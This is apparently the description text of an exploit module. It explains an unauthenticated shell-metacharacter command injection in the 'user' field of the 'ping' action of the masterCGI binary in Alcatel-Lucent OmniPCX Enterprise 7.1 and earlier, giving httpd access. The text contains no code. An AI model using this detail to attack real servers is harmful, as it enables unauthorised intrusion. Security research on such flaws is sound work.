					This module abuses a metacharacter injection vulnerability in the
				HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
				Communication Server 7.1 and earlier. The Unified Maintenance Tool
				contains a 'masterCGI' binary which allows an unauthenticated attacker
				to execute arbitrary commands by specifing shell metacharaters as the
				'user' within the 'ping' action to obtain 'httpd' user access. This
				module only supports command line payloads, as the httpd process kills
				the reverse/bind shell spawn after the HTTP 200 OK response.
